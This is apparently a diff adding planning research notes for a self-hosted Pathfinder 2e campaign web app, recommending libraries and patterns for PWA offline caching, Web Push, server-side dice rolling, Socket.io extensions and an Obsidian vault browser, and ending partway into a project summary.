- [When 'Just Refresh' Doesn't Work: Taming PWA Cache Behavior](https://iinteractive.com/resources/blog/taming-pwa-cache-behavior)
|
||||
- [Whatever happened to JavaScript Service Workers? — Mastro Blog 2026](https://mastrojs.github.io/blog/2026-03-09-whatever-happened-to-js-service-workers/)
|
||||
- [Progressive Web Apps 2026: PWA Performance Guide](https://www.digitalapplied.com/blog/progressive-web-apps-2026-pwa-performance-guide)
|
||||
- [Strategies for Service Worker Caching for Progressive Web Apps — Hasura](https://hasura.io/blog/strategies-for-service-worker-caching-d66f3c828433)
|
||||
- [Service Worker as auth relay — ITNEXT](https://itnext.io/using-service-worker-as-an-auth-relay-5abc402878dd)
|
||||
- [Securing Tokens In A Progressive Web App](https://www.mckennaconsultants.com/securing-tokens-in-a-progressive-web-app/)
|
||||
|
||||
iOS Web Push:
|
||||
- [PWA iOS Limitations and Safari Support 2026 — MagicBell](https://www.magicbell.com/blog/pwa-ios-limitations-safari-support-complete-guide)
|
||||
- [Sending web push notifications in web apps and browsers — Apple Developer](https://developer.apple.com/documentation/usernotifications/sending-web-push-notifications-in-web-apps-and-browsers)
|
||||
- [Do Progressive Web Apps Work on iOS? Complete Guide 2026 — Mobiloud](https://www.mobiloud.com/blog/progressive-web-apps-ios)
|
||||
|
||||
Web Push / VAPID:
|
||||
- [Web Push Error 410 — Pushpad](https://pushpad.xyz/blog/web-push-error-410-the-push-subscription-has-expired-or-the-user-has-unsubscribed)
|
||||
- [Web Push errors explained (HTTP status codes) — Pushpad](https://pushpad.xyz/blog/web-push-errors-explained-with-http-status-codes)
|
||||
- [RFC 9749: VAPID for Web Push](https://www.rfc-editor.org/rfc/rfc9749.pdf)
|
||||
- [web-push library README](https://github.com/web-push-libs/web-push/blob/master/README.md)
|
||||
|
||||
Wake Lock / Battery:
|
||||
- [Screen Wake Lock PWA Demo — Progressier](https://progressier.com/pwa-capabilities/screen-wake-lock)
|
||||
- [Battery destroying web sockets — Home Assistant Android #6208](https://github.com/home-assistant/android/issues/6208)
|
||||
- [Android Battery Technical Quality Enforcement 2026](https://android-developers.googleblog.com/2026/03/battery-technical-quality-enforcement.html)
|
||||
|
||||
Socket.io:
|
||||
- [Connection state recovery — Socket.IO docs](https://socket.io/docs/v4/connection-state-recovery)
|
||||
- [Delivery guarantees — Socket.IO docs](https://socket.io/docs/v4/delivery-guarantees)
|
||||
- [Performance tuning — Socket.IO docs](https://socket.io/docs/v4/performance-tuning/)
|
||||
- [Scaling Socket.IO challenges — Ably](https://ably.com/topic/scaling-socketio)
|
||||
- [Backpressure in WebSocket Streams](https://skylinecodes.substack.com/p/backpressure-in-websocket-streams)
|
||||
- [Middlewares — Socket.IO docs](https://socket.io/docs/v4/middlewares/)
|
||||
|
||||
PF2e Rules:
|
||||
- [Attribute Boosts — Archives of Nethys](https://2e.aonprd.com/Rules.aspx?ID=2110&Redirected=1)
|
||||
- [Skill Increases — Archives of Nethys](https://2e.aonprd.com/Rules.aspx?ID=2109&Redirected=1)
|
||||
- [Archetypes — Archives of Nethys](https://2e.aonprd.com/Rules.aspx?ID=2127&Redirected=1)
|
||||
- [Free Archetype variant — Archives of Nethys](https://2e.aonprd.com/Rules.aspx?ID=2751&Redirected=1)
|
||||
- [Dedication — Archives of Nethys](https://2e.aonprd.com/Traits.aspx?ID=572)
|
||||
- [Paizo Forums: Archetypes and Additional Feats — known edge cases](https://paizo.com/threads/rzs434lp?Archetypes-and-Additional-Feats=)
|
||||
|
||||
Obsidian / Wikilinks:
|
||||
- [Obsidian wikilink resolution rules — gist by dhpwd](https://gist.github.com/dhpwd/9bb86c53b69cb63e09ccca42e3bf924c)
|
||||
- [Add settings to control link resolution mode — Obsidian Forum](https://forum.obsidian.md/t/add-settings-to-control-link-resolution-mode/69560)
|
||||
- [Inconsistent Treatment of Wikilink Path — Obsidian Forum](https://forum.obsidian.md/t/inconsistent-treatment-of-wikilink-path/112694)
|
||||
|
||||
Markdown XSS:
|
||||
- [Secure Markdown Rendering in React — HackerOne](https://www.hackerone.com/blog/secure-markdown-rendering-react-balancing-flexibility-and-safety)
|
||||
- [React Markdown Complete Guide 2025 — Strapi](https://strapi.io/blog/react-markdown-complete-guide-security-styling)
|
||||
- [DOMPurify GitHub](https://github.com/cure53/DOMPurify)
|
||||
|
||||
Prisma / Postgres:
|
||||
- [Referential actions — Prisma Documentation](https://www.prisma.io/docs/v6/orm/prisma-schema/data-model/relations/referential-actions)
|
||||
- [API with NestJS #135. Referential actions and foreign keys — Wanago](https://wanago.io/2023/11/27/api-nestjs-postgresql-prisma-referential-actions/)
|
||||
|
||||
Internal context:
|
||||
- `.planning/PROJECT.md`
|
||||
- `.planning/codebase/CONCERNS.md` (HP/Dying race, oversized service, missing tests, gateway auth minimal)
|
||||
- `.planning/codebase/TESTING.md` (zero test coverage today — directly motivates the cross-cutting test discipline above)
|
||||
|
||||
---
|
||||
|
||||
*Pitfalls research for: Dimension47 milestone — PWA + multi-screen battle + extended Socket.io + Obsidian read-only vault + full PF2e Level-Up*
|
||||
*Researched: 2026-04-27*
|
||||
215
.planning/research/STACK.md
Normal file
215
.planning/research/STACK.md
Normal file
@@ -0,0 +1,215 @@
|
||||
# Stack Research
|
||||
|
||||
**Domain:** TTRPG campaign management — additions for next milestone (PWA + multi-screen battle + extended WS + Obsidian browser + Level-Up)
|
||||
**Researched:** 2026-04-27
|
||||
**Confidence:** HIGH (versions verified against Context7 + official npm/changelog; all additions sit on top of locked NestJS 11 / React 19 / Prisma 7 / Socket.io 4 stack)
|
||||
|
||||
> Scope: This file recommends ONLY new libraries/patterns to add. The locked existing stack (NestJS 11.0.1, React 19.2.0, Prisma 7.2.0, PostgreSQL, Socket.io 4.8.3, Tailwind v4.1.18, Zustand 5, TanStack Query 5, axios, framer-motion, lucide-react, class-validator, JWT, @anthropic-ai/sdk) is documented in `.planning/codebase/STACK.md` and is NOT re-evaluated.
|
||||
|
||||
## Recommended Stack
|
||||
|
||||
### Core Additions
|
||||
|
||||
| Technology | Version | Purpose | Why Recommended |
|
||||
|------------|---------|---------|-----------------|
|
||||
| `vite-plugin-pwa` | ^1.2.0 | PWA shell, manifest injection, service worker generation, Workbox bundling | The de-facto Vite PWA plugin. v1.0.1 added explicit Vite 7 support (project is on Vite 7.2.4); v1.2.0 (Nov 2025) is current. Provides `useRegisterSW` hook from `virtual:pwa-register/react` for the existing React 19 client — slots in without touching App shell. Use `injectManifest` strategy so we can hand-author the service worker (push handler + custom REST cache rules) instead of being constrained by `generateSW`. |
|
||||
| `workbox-precaching` `workbox-routing` `workbox-strategies` `workbox-expiration` `workbox-cacheable-response` | ^7.3.0 (whatever vite-plugin-pwa pulls in) | Caching primitives for the custom service worker | When using `injectManifest`, these are dev-deps (peer deps of vite-plugin-pwa). Provides `precacheAndRoute(self.__WB_MANIFEST)`, `NetworkFirst` (REST endpoints), `CacheFirst` (immutable assets, vault images), `StaleWhileRevalidate` (translation strings). |
|
||||
| `@vite-pwa/assets-generator` | latest 0.x | Generate icon set + maskable icons + splash screens from one source SVG | Avoids hand-cropping ~20 icon variants. CLI step in build pipeline. Optional but high-leverage. |
|
||||
| `web-push` | ^3.6.7 | Server-side Web Push delivery (VAPID-signed) from NestJS | Reference Node.js library by `web-push-libs`, used by every Web Push tutorial and most production deployments. Provides `generateVAPIDKeys()`, `setVapidDetails()`, `sendNotification()`. Stable API (3.6.x line is multi-year mature; the relative quietness on the changelog is a sign of maturity, not abandonment). Installed and called from a new `notifications` NestJS module. |
|
||||
| `@dice-roller/rpg-dice-roller` | ^5.5.1 | Server-side dice notation parser and roller | The canonical TS-typed RPG dice library. Supports modifiers needed for PF2e: keep-highest/lowest, exploding (`!`), drop-lowest, rerolls (`r`, `ro`), success/failure pools, math expressions, and arbitrary number of dice. Persistent damage in PF2e is **not a special dice mechanic** — it's just `1d6` (or whatever) re-rolled at end of turn; the PF2e-specific layer (crit-doubling, fatal trait, persistent flagging, recovery DC) is application logic on top of the parser, not parser logic. Run dice on the **server** (auth'd, audit-loggable, anti-cheat). |
|
||||
| `react-markdown` | ^9.x | React component for safe markdown → React tree | Fits React 19 (uses `unified`/`remark`/`rehype` toolchain, no `dangerouslySetInnerHTML` needed). Plugin-extensible via `remarkPlugins` and `rehypePlugins`. The `components` prop is exactly what we need to inject custom React components for Wikilinks (clickable to internal vault routes), images (resolved against the vault base), and code blocks (Shiki). |
|
||||
| `remark-gfm` | ^4.x | GitHub-flavored markdown extensions (tables, strikethrough, task lists, autolinks) | Obsidian markdown is GFM-flavored. Drop-in remark plugin. |
|
||||
| `@portaljs/remark-wiki-link` | ^1.2.0 | Parse Obsidian-style `[[note]]` and `[[note\|alias]]` wikilinks into AST nodes | Maintained, supports `obsidian-short` and `obsidian-absolute` path resolution modes (matches actual Obsidian behavior, where `[[Foo]]` resolves to the shortest matching file). The original `remark-wiki-link` is too generic; the `flowershow`/`@portaljs` fork specifically targets Obsidian semantics. AST node lets `react-markdown` `components` mapping render as a custom `<WikiLink>` React component routing into our vault browser. |
|
||||
| `remark-obsidian-callout` (or inline custom plugin) | ^1.x | Render Obsidian `> [!note]` / `> [!warning]` callouts | Optional but Obsidian-flavored vaults heavily use callouts. Can also be hand-rolled as a small remark plugin (≤50 LOC) that detects the `[!type]` pattern in blockquotes — the user owns the vault content style, so a tight in-house plugin is acceptable. |
|
||||
| `react-shiki` | ^0.9.x | Syntax highlighting for code blocks inside vault markdown | Recommended replacement for `react-syntax-highlighter` (latter is unmaintained, slow first-paint, has open vulnerabilities). Wraps Shiki — same TextMate grammars as VS Code — and exposes both a `<ShikiHighlighter>` component and a `useShikiHighlighter` hook. Offers fine-grained bundle control: pick only the languages we want (e.g., `typescript`, `bash`, `json`, `markdown`, `python`) to keep bundle size sane. |
|
||||
| `webdav` (perry-mitchell client) | ^5.x | TS-typed WebDAV client for the NestJS server to read the user's self-hosted vault | TypeScript-native, supports Basic/Digest/Token auth, browser-and-Node compatible (we'll use Node in the server). Server-side fetch keeps vault credentials off the client and lets the existing JWT auth gate vault access. Maintained, last commits within current cycle. |
|
||||
|
||||
### Supporting Libraries
|
||||
|
||||
| Library | Version | Purpose | When to Use |
|
||||
|---------|---------|---------|-------------|
|
||||
| `idb` (or `idb-keyval`) | ^8.x / ^6.x | Promise-wrapped IndexedDB for offline payload cache | When TanStack Query's in-memory cache isn't enough — i.e., persisting last-fetched character sheet, vault notes, equipment DB extracts so they survive a hard reload offline. `idb-keyval` if all we need is `get`/`set`; `idb` if we want indexed schemas. Recommendation: start with `idb-keyval`. |
|
||||
| `@tanstack/query-sync-storage-persister` + `@tanstack/react-query-persist-client` | matching ^5.90.x | Persist React Query cache to localStorage/IndexedDB | The "right" way to make existing `useQuery` calls offline-readable without rewriting hooks. Wrap `QueryClientProvider` with `PersistQueryClientProvider`. Plug-in fit with the existing TanStack Query 5.90.19 install. |
|
||||
| `unified` | ^11.x | Core processor that `react-markdown` already pulls in | Don't install separately unless authoring custom AST plugins; transitive via `react-markdown`. Listed for visibility. |
|
||||
| `rehype-slug` + `rehype-autolink-headings` | ^6.x / ^7.x | Slug + anchor links on rendered headings | Vault notes get stable URL fragments. Optional. |
|
||||
| `class-variance-authority` (cva) | ^0.7.x | Variant-driven Tailwind class composition | Optional. Only if new Battle/Display screens grow many size/state variants. Existing code uses `clsx` + `tailwind-merge` which already covers most cases — only add CVA if a component file starts looking like a chain of nested ternaries. |
|
||||
| `usehooks-ts` (specifically `useBroadcastChannel`, `useMediaQuery`) | ^3.x | Tiny well-tested React hooks | Avoid hand-rolling `useBroadcastChannel` — `usehooks-ts` already wraps it with proper cleanup. Pick à la carte; don't import the whole library. |
|
||||
|
||||
### Development Tools
|
||||
|
||||
| Tool | Purpose | Notes |
|
||||
|------|---------|-------|
|
||||
| `web-push` CLI (`npx web-push generate-vapid-keys`) | One-shot VAPID key generation | Run once; store keys in `server/.env` as `VAPID_PUBLIC_KEY`, `VAPID_PRIVATE_KEY`, `VAPID_SUBJECT` (mailto). Don't regenerate without re-subscribing all users. |
|
||||
| `@vite-pwa/assets-generator` CLI | Build-time icon and splash screen generation | Run as `pwa-assets-generator` script before production build. Source SVG checked into repo. |
|
||||
| Workbox dev tools / Chrome DevTools "Application" tab | Debug service worker, cache contents, push subscriptions | Standard browser tooling; no install. Critical for verifying offline behavior of cached endpoints. |
|
||||
| Lighthouse / PWA tab in Chrome | Validate manifest, install prompt, service worker quality | Run before each release of the milestone. Aim for "Installable" + offline-capable green checks. |
|
||||
|
||||
## Installation
|
||||
|
||||
```bash
|
||||
# Client (cd client)
|
||||
npm install vite-plugin-pwa workbox-precaching workbox-routing workbox-strategies workbox-expiration workbox-cacheable-response
|
||||
npm install -D @vite-pwa/assets-generator
|
||||
|
||||
npm install react-markdown remark-gfm @portaljs/remark-wiki-link react-shiki shiki
|
||||
npm install rehype-slug rehype-autolink-headings # optional
|
||||
|
||||
npm install idb-keyval
|
||||
npm install @tanstack/react-query-persist-client @tanstack/query-sync-storage-persister
|
||||
|
||||
npm install usehooks-ts # only the hooks we need
|
||||
|
||||
# Server (cd server)
|
||||
npm install web-push @dice-roller/rpg-dice-roller webdav
|
||||
npm install -D @types/web-push # check if shipped types are sufficient first; @types/web-push exists but the package now ships its own .d.ts in 3.6.x
|
||||
|
||||
# One-time
|
||||
cd server && npx web-push generate-vapid-keys # capture into .env
|
||||
```
|
||||
|
||||
## Alternatives Considered
|
||||
|
||||
| Recommended | Alternative | When to Use Alternative |
|
||||
|-------------|-------------|-------------------------|
|
||||
| `vite-plugin-pwa` | Hand-written service worker + manifest | If we ever need behavior the plugin actively fights (e.g., dev-only SW with HMR). Not the case here — `injectManifest` strategy already gives full control. |
|
||||
| `vite-plugin-pwa` Workbox | Serwist (Workbox fork) | Active fork, cleaner ESM. Worth tracking but not yet the default for Vite — `vite-plugin-pwa` upstream still uses Workbox. Switch only if Workbox stalls. |
|
||||
| `web-push` | Self-rolled VAPID + ECE encryption | Never. The encryption details (ECDH, HKDF, AES-128-GCM) are the kind of code you do not want to maintain yourself. |
|
||||
| `web-push` | `@vv-01/web-push-service` (NestJS-specific wrapper) | If we later want OneSignal-like multi-tenant features. Overkill for self-hosted single-group app. |
|
||||
| `@dice-roller/rpg-dice-roller` | `dice-notation` (`Morgul/rpgdice`) | Smaller, simpler. Use if rpg-dice-roller's modifier set turns out to be too feature-heavy. But for PF2e (with rerolls, exploding, keep-highest, math) the full feature set is justified. |
|
||||
| `@dice-roller/rpg-dice-roller` | Hand-rolled regex parser | Tempting but a trap — every TTRPG team that did this regrets it within a year (operator precedence, `kh3` vs `kl3`, error messages). Use the library. |
|
||||
| `react-markdown` | `markdown-to-jsx` | Smaller bundle (~10KB vs ~50KB), no plugin ecosystem. Use only if bundle size becomes critical and we don't need wikilinks/GFM/Shiki. We do need all three. |
|
||||
| `react-markdown` | `marked` + custom React renderer | Faster parser. Loses the unified/remark plugin ecosystem (no wikilink plugin, no callouts). Not worth the speed gain. |
|
||||
| `react-markdown` | `@uiw/react-md-editor` | Bundles an editor — we explicitly do NOT need editing in v1 of vault browser. Out of scope. |
|
||||
| `@portaljs/remark-wiki-link` | `remark-wiki-link-plus` | Also viable. PortalJS variant has cleaner Obsidian path resolution semantics. Tied; pick one and stick to it. |
|
||||
| `react-shiki` | Plain Shiki + custom integration | Use if we want SSR pre-rendered code blocks. We don't have SSR; client-side react-shiki is correct. |
|
||||
| `react-shiki` | Prism / `prismjs` | Smaller bundle, but theme + accuracy are noticeably worse. PrismJS is also not actively keeping pace with newer language additions. |
|
||||
| `react-shiki` | `highlight.js` | Zero-config but ~340KB uncompressed full bundle, less accurate, dated themes. |
|
||||
| `webdav` (perry-mitchell) | Plain HTTP file server (`@nestjs/serve-static` pointing at vault dir) | **Strongly worth considering** — see "Stack Patterns by Variant" below. If the user is willing to mount the vault directory into the server's filesystem, a custom NestJS controller serving markdown over authenticated HTTP is simpler than WebDAV. WebDAV is the right answer ONLY if the vault lives on a separate machine the server has WebDAV access to. |
|
||||
| `webdav` (perry-mitchell) | `tsdav` | Also TS-native, but adds CalDAV/CardDAV which we don't need. Smaller cognitive surface to use perry-mitchell's. |
|
||||
| `webdav` (perry-mitchell) | git-based sync (clone the vault repo on server) | Works, but is a fight: Obsidian's git workflows are messy (large binary attachments, `.obsidian/` config noise), and "read-only" via git means scheduled pulls. Adds infra without paying for itself. |
|
||||
| `idb-keyval` | LocalStorage | LocalStorage is sync, ~5MB cap, blocks main thread. IDB (via `idb-keyval`) is the right call for character sheet snapshots and vault notes. |
|
||||
| BroadcastChannel for table-display sync | postMessage between `window.opener` and child window | postMessage works but loses messages if either window reloads, and requires the child to be opened from the parent. BroadcastChannel survives reloads and works between independently opened tabs as long as same-origin. |
|
||||
| BroadcastChannel | A shared SharedWorker | Overkill. SharedWorker would be useful if we wanted a single shared WebSocket connection across tabs — we can defer that until we see actual traffic problems. |
|
||||
|
||||
## What NOT to Use
|
||||
|
||||
| Avoid | Why | Use Instead |
|
||||
|-------|-----|-------------|
|
||||
| `react-syntax-highlighter` | Unmaintained, slow first-paint when there are many code blocks, has flagged audit issues | `react-shiki` |
|
||||
| `marked` (as React renderer) | No native React tree output, no remark plugin ecosystem, tempts you to `dangerouslySetInnerHTML` | `react-markdown` |
|
||||
| `pwa-asset-generator` (the older CLI) | Older project, less Vite-aware | `@vite-pwa/assets-generator` |
|
||||
| `firebase-admin` or FCM-tier push | Native push platform lock-in, account onboarding required, no advantage over standard Web Push for our self-hosted setup | `web-push` (standards-based VAPID) |
|
||||
| Capacitor / Cordova / PWABuilder native wrappers | Adds an app store distribution path we explicitly don't want (PROJECT.md "Out of Scope: Native iOS/Android-App") | Stick with PWA install-to-home-screen |
|
||||
| Background Sync API on iOS | iOS Safari does not support Background Sync as of 2026 — code that depends on it will silently no-op on iPhones | Treat write operations as online-only (already in scope: "Offline-Bearbeiten ist explizit raus"); use foreground sync with explicit user action on reconnect |
|
||||
| Silent push / data-only push on iOS | iOS Safari does not support silent/background-wake push (only user-visible notifications) | Always send a visible notification payload; if you need to "trigger app data sync", do it foreground when the user taps the notification |
|
||||
| Hand-written dice notation parser | Operator-precedence bugs, no error recovery, no modifier extensibility | `@dice-roller/rpg-dice-roller` |
|
||||
| Storing dice rolls only in client | No audit trail, trivially cheatable, no cross-player visibility | Roll on server in a NestJS service; persist `Roll` records in Prisma; broadcast via Socket.io |
|
||||
| `localStorage` event for cross-window sync | Fires only on OTHER tabs (not the originating one), doesn't survive private browsing edge cases | `BroadcastChannel` |
|
||||
| LocalStorage for vault note caching | Sync, 5MB cap, will hit the cap with a real vault | IndexedDB via `idb-keyval` (or Workbox's runtime caching for HTTP responses) |
|
||||
| Running dice rolls only on the client | Trivial to cheat with devtools, no replay log | Server authoritative, client merely formats |
|
||||
| Allowing service worker to bypass auth on `/api/*` | Cached private data could leak across users sharing a device | Scope cache keys by user ID; on logout, call `caches.delete()` for user-bound caches |
|
||||
|
||||
## Stack Patterns by Variant
|
||||
|
||||
### Vault transport: WebDAV vs HTTP-mounted
|
||||
|
||||
**If the vault is on the same machine as the NestJS server (or NFS/SMB-mounted to it):**
|
||||
- Build a small `vault` NestJS module that reads markdown directly from the filesystem with `fs/promises`
|
||||
- Auth via existing JWT guard (gate behind ADMIN/GM/PLAYER roles per PROJECT.md role model)
|
||||
- Endpoints: `GET /api/vault/tree`, `GET /api/vault/note?path=...`, `GET /api/vault/search?q=...`, `GET /api/vault/asset?path=...` (for embedded images)
|
||||
- Cache-Control headers tuned for Workbox CacheFirst on assets, NetworkFirst on notes
|
||||
- Why: simpler, lower latency, no extra protocol surface, full control over auth — best fit for the "self-hosted for own group" setup
|
||||
|
||||
**If the vault is on a separate machine the server can reach:**
|
||||
- Use `webdav` (perry-mitchell) inside the same `vault` NestJS module
|
||||
- Hide WebDAV credentials in `.env`; never expose them to the client
|
||||
- Endpoints stay the same shape — module just swaps fs calls for WebDAV calls
|
||||
- Why: WebDAV is the most common TTRPG-friendly self-hosted protocol (Nextcloud, Synology, raw sabre/dav)
|
||||
|
||||
**Recommendation:** Default to filesystem mount. Implement the `vault` module with a swappable `VaultProvider` interface (`FsVaultProvider`, `WebDAVVaultProvider`) so the choice is one DI binding, not a rewrite. This matches the existing module pattern in `server/src/modules/`.
|
||||
|
||||
### Multi-screen: Same-machine GM laptop driving table display
|
||||
|
||||
**Scenario A — Both screens served from same browser (likely):**
|
||||
- GM opens main app on display 1
|
||||
- "Open Tisch-Display" button → `window.open('/battle/:sessionId/display', 'tisch-display', '...')` on display 2
|
||||
- Sync via `BroadcastChannel('battle-:sessionId')` — same-origin, both windows post and listen
|
||||
- Display window subscribes to the same battle Socket.io namespace as the GM (read-only, GM events broadcast to both)
|
||||
- Display window does NOT need its own auth dance — share JWT via the broadcast handshake
|
||||
|
||||
**Scenario B — Table display is a separate device (Raspberry Pi / kiosk PC):**
|
||||
- Both devices connect to the same Socket.io namespace independently
|
||||
- Add a `display` room/role on the gateway; emit only safe-for-public events to it (no GM private notes)
|
||||
- Skip BroadcastChannel entirely — WS-only
|
||||
|
||||
**Recommendation:** Build for Scenario B (separate device, WS-only). It's the more capable pattern, and Scenario A is a degenerate case that just happens to work because BroadcastChannel is a no-op when only one window is listening. Don't make BroadcastChannel a load-bearing dependency.
|
||||
|
||||
### iOS PWA Push: degraded mode by default
|
||||
|
||||
- Document explicitly: iOS PWA push works ONLY when the app is installed to home screen (not in Safari tabs)
|
||||
- Use **Declarative Web Push** payloads (Safari 18.4+, March 2026) where possible — no service worker needed, more reliable
|
||||
- For Android/desktop Chrome where service-worker-driven push works fully, use the richer payload (custom actions, badges)
|
||||
- Server should send the same logical message; client UX gracefully degrades
|
||||
|
||||
### Offline strategy by content type
|
||||
|
||||
| Content | Cache strategy | Reason |
|
||||
|---------|---------------|--------|
|
||||
| App shell (HTML/JS/CSS) | Precache (Workbox `precacheAndRoute`) | Hashed assets, immutable |
|
||||
| `/api/characters/:id` | NetworkFirst, 5s timeout, 24h cache | Always want fresh, fall back to cached when offline |
|
||||
| `/api/equipment/*` | StaleWhileRevalidate, 7-day cache | Mostly static after seed; show cached fast, refresh background |
|
||||
| `/api/translations/*` | CacheFirst, 30-day cache | Translations are append-only |
|
||||
| `/api/vault/note?path=...` | NetworkFirst, 5s timeout, 7-day cache | Vault rarely changes during a session |
|
||||
| `/api/vault/asset?path=...` | CacheFirst, 30-day cache, max 200 entries | Images, large, immutable |
|
||||
| Translation cache hits via `/api/translations` | StaleWhileRevalidate | Already cached server-side; client cache is bonus |
|
||||
|
||||
## Version Compatibility
|
||||
|
||||
| Package | Compatible With | Notes |
|
||||
|---------|-----------------|-------|
|
||||
| `vite-plugin-pwa@^1.2.0` | `vite@^7.0.0` (project: 7.2.4) | v1.0.1 was the cut-over to Vite 7. Don't pin below 1.0.1. |
|
||||
| `react-markdown@^9.x` | `react@^18 \|\| ^19` (project: 19.2.0) | v9 is the major-version line that supports React 19. v8 requires React 18. |
|
||||
| `react-shiki@^0.9.x` | React 18 + 19 | Verify peer dep at install; pin patch version after install. Pre-1.0 — read changelog before bumping. |
|
||||
| `@portaljs/remark-wiki-link@^1.2.0` | `unified@^11`, `remark@^15` (transitive via react-markdown@9) | Aligned with current unified ecosystem. |
|
||||
| `web-push@^3.6.7` | Node 16+ (project: Node 22 LTS) | Mature; release cadence intentionally slow. |
|
||||
| `@dice-roller/rpg-dice-roller@^5.5.1` | Node 18+, browser ES2020+ | Pure TS, no native deps. |
|
||||
| `webdav@^5.x` | Node 16+, modern browsers | v5 active dev; v4 is in maintenance. Use v5 for new code. |
|
||||
| `idb-keyval@^6.x` | All browsers with IndexedDB (i.e. all evergreen) | No SSR concerns since we're SPA. |
|
||||
| `@tanstack/react-query-persist-client` | Match `@tanstack/react-query` major (project: 5.90.19, so use `5.x`) | Same release train. |
|
||||
|
||||
## Module-fit notes (where each addition lands in existing structure)
|
||||
|
||||
- **`vite-plugin-pwa`** → `client/vite.config.ts` plugin entry; new `client/src/sw.ts` for `injectManifest` strategy; new `client/src/shared/hooks/use-pwa.ts` wrapping `useRegisterSW` from `virtual:pwa-register/react`
|
||||
- **`web-push`** → new `server/src/modules/notifications/` module (controller + service + Prisma `PushSubscription` model). Mirrors the existing module pattern (auth, campaigns, characters)
|
||||
- **`@dice-roller/rpg-dice-roller`** → new `server/src/modules/dice/` module with `DiceService.roll(notation, context)` and a `RollLog` Prisma model. Roll events emitted on existing Socket.io infrastructure via a new gateway or extended battle/character gateway — match the existing gateway pattern in `characters.gateway.ts` and `battle.gateway.ts`
|
||||
- **`react-markdown` + plugins + `react-shiki`** → new `client/src/features/vault/` feature folder per the existing `features/*/components` convention. New `vault-renderer.tsx` component owns the `<Markdown>` component config; `wiki-link.tsx`, `vault-image.tsx`, `vault-code-block.tsx` are the custom React components passed via `components` prop
|
||||
- **`webdav` (or fs-based)** → new `server/src/modules/vault/` module with `VaultProvider` interface and either `FsVaultProvider` or `WebDAVVaultProvider` injected via NestJS DI. Endpoints prefixed `/api/vault/*`
|
||||
- **`idb-keyval` + React Query persist** → `client/src/app/` (where the `QueryClient` already lives, or wherever `App.tsx` mounts providers). Wrap `QueryClientProvider` with `PersistQueryClientProvider`
|
||||
- **BroadcastChannel** → `client/src/features/battle/hooks/use-display-channel.ts`, used by the new display-mode route
|
||||
|
||||
## Sources
|
||||
|
||||
- `/vite-pwa/vite-plugin-pwa` (Context7, HIGH) — confirmed `injectManifest` strategy syntax, React `useRegisterSW` hook, Vite 7 support since v1.0.1
|
||||
- `/web-push-libs/web-push` (Context7, HIGH) — confirmed `generateVAPIDKeys()`, `setVapidDetails()`, `sendNotification()` API surface; current API and 410/404/429 error patterns
|
||||
- `/remarkjs/react-markdown` (Context7, HIGH) — confirmed `remarkPlugins`, `components` prop pattern for custom rendering; v9 line is current
|
||||
- `/shikijs/shiki` (Context7, HIGH) — Shiki 4.0.2 current; ESM-bundled grammars
|
||||
- `/avgvstvs96/react-shiki` (Context7, HIGH) — react-shiki recommended replacement for `react-syntax-highlighter`
|
||||
- `/googlechrome/workbox` (Context7, HIGH) — caching strategies primitives
|
||||
- npmjs.com release pages for `vite-plugin-pwa`, `web-push`, `@dice-roller/rpg-dice-roller`, `webdav`, `react-shiki` (Web search verified, MEDIUM-HIGH) — version numbers cross-checked
|
||||
- [vite-plugin-pwa v1.2.0 release (npm)](https://www.npmjs.com/package/vite-plugin-pwa) — released Nov 27, 2025; v1.0.1 added Vite 7 support
|
||||
- [vite-pwa-org docs (Netlify)](https://vite-pwa-org.netlify.app/) — `injectManifest`, `useRegisterSW` patterns
|
||||
- [Vite 7 release notes](https://vite.dev/blog/announcing-vite7) — Vite 7 requires Node 20.19+ / 22.12+
|
||||
- [web-push npm](https://www.npmjs.com/package/web-push) — v3.6.7 mature line; `web-push-libs` org
|
||||
- [@dice-roller/rpg-dice-roller npm](https://www.npmjs.com/package/@dice-roller/rpg-dice-roller) — v5.5.1 current
|
||||
- [react-shiki npm](https://www.npmjs.com/react-shiki) — v0.9.3 current (April 2026)
|
||||
- [Shiki npm](https://www.npmjs.com/package/shiki) — v4.0.2 current
|
||||
- [@portaljs/remark-wiki-link npm](https://www.npmjs.com/package/@portaljs/remark-wiki-link) — Obsidian-flavored path resolution
|
||||
- [perry-mitchell/webdav-client GitHub](https://github.com/perry-mitchell/webdav-client) — TS-native WebDAV client v5
|
||||
- [PWA iOS limitations 2026 (MagicBell)](https://www.magicbell.com/blog/pwa-ios-limitations-safari-support-complete-guide) — iOS push only when installed to home screen, no Background Sync, Declarative Web Push since Safari 18.4
|
||||
- [BroadcastChannel API (MDN)](https://developer.mozilla.org/en-US/docs/Web/API/BroadcastChannel) — same-origin cross-window messaging
|
||||
- [Workbox strategies (Chrome for Developers)](https://developer.chrome.com/docs/workbox/modules/workbox-strategies) — NetworkFirst/CacheFirst/StaleWhileRevalidate
|
||||
- [coddingtonbear/obsidian-local-rest-api](https://github.com/coddingtonbear/obsidian-local-rest-api) — *not adopted* but listed as a reference if vault is hosted inside Obsidian itself rather than a static directory
|
||||
|
||||
---
|
||||
*Stack research for: Dimension47 next milestone (PWA + multi-screen battle + extended WS + Obsidian vault browser + Level-Up)*
|
||||
*Researched: 2026-04-27*
|
||||
295
.planning/research/SUMMARY.md
Normal file
295
.planning/research/SUMMARY.md
Normal file
@@ -0,0 +1,295 @@
|
||||
# Project Research Summary
|
||||
|
||||
**Project:** Dimension47 - TTRPG Campaign Management Platform
|
||||
**Domain:** Self-hosted PF2e TTRPG companion web app (brownfield milestone)
|
||||
**Researched:** 2026-04-27
|
||||
**Confidence:** HIGH
|
||||
|
||||
## Executive Summary
|
||||
|
||||
Dimension47 is a self-hosted, single-group PF2e TTRPG companion app with a mature existing stack (NestJS 11, React 19, Prisma 7, PostgreSQL, Socket.io 4.8.3, Tailwind v4). The next milestone adds seven distinct capability areas to the live system: PF2e-regelkonform Level-Up, PWA installability with offline read, Web Push notifications, server-authoritative dice rolling with in-app chat, multi-screen battle display, GM live-control panel, and an Obsidian vault read-only browser. Research confirms the existing architectural patterns (NestJS module-per-feature, React feature directories, WebSocket gateway-per-namespace, Prisma migrations-only) scale cleanly to all seven areas with five new backend modules, seven new Prisma migrations, and approximately 40 new files. No fundamental architectural change is needed; all additions are additive and follow documented existing patterns.
|
||||
|
||||
